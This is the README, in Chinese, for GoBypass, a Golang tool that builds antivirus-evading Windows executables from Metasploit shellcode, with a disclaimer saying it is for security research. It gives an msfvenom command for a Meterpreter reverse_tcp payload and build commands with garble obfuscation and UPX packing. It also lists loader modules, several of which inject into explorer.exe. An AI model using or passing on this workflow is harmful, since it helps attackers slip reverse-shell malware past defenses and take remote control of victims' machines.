Home

Awesome

GoBypass

免责声明

该工具仅用于安全研究,禁止使用工具发起非法攻击等违法行为,造成的后果使用者负责

介绍

Golang免杀马生成工具(该工具仅针对Windows系统)

不确定免杀效果如何,核心部分借鉴大佬的代码然后自己造轮子

LOGO

准备工作

kali中使用msfvenom生成需要的payload(注意使用-f c参数)

示例:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=ip lport=port -f c

复制完整C语言格式的shellcode并写入当前目录的shellcode.txt

(无需过多处理,内部会对ShellCode进行编码)

生成免杀马

在生成免杀马之前请注意以下三件事

  1. 确保安装Golang且环境变量中包含go否则无法编译
  2. 请在当前目录先执行go env -w GO111MODULE=on然后go mod download命令下载依赖
  3. 如果下载依赖过慢配置镜像go env -w GOPROXY=https://mirrors.aliyun.com/goproxy

一切就绪后就可以开始生成了

示例:

  1. 使用CreateThread模块并删除编译信息:go run main.go -m CreateThread -d
  2. 删除编译信息且用garble混淆源码后编译:go run main.go -m CreateThread -d -g
  3. 编译后的可执行文件进行upx加壳:go run main.go -m CreateThread -d -g -u

可选参数如下

参数参数说明参数类型是否必须
-m使用模块string
-sshellcode文件(默认shellcode.txt)string
-d使用ldflags -s -w进行编译bool
-r使用竞态检测器-race进行编译(可能提高免杀效果)bool
-w隐藏窗口ldflags -H windowsgui(可能降低免杀效果)bool
-u最终生成的exe进行UPX加壳bool
-g使用garble进行编译(对源码进行混淆)bool
-h查看帮助信息bool

其中必须的模块参数如下

模块名简介
CreateFiber利用Windows CreateFiber函数
CreateProcess利用Windows CreateProcess函数在挂起状态下创建进程
CreateRemoteThread远程进程注入ShellCode(注入explorer.exe)
CreateRemoteThreadNative和上一条区别在于使用更底层的方式(注入explorer.exe)
CreateThread利用Windows CreateThread函数
CreateThreadNative和上一条区别在于使用更底层的方式
CryptProtectMemory利用Windows dpapi.h CryptProtectMemory函数
CryptUnprotectMemory利用Windows dpapi.h CryptUnprotectMemory函数
EarlyBird注入的代码在进程主线程的入口点之前运行
EtwpCreateEtwThread利用Windows EtwpCreateEtwThread函数在进程中执行ShellCode
HeapAlloc创建一个可供调用进程使用的堆并分配内存写入ShellCode
NtQueueApcThreadEx在当前进程的当前线程中创建一个特殊用户APC来执行ShellCode
RtlCreateUserThread利用Windows RtlCreateUserThread函数(注入explorer.exe)
UuidFromStringA利用Windows UuidFromStringA函数

参考

尤其感谢Safe6Sec师傅的项目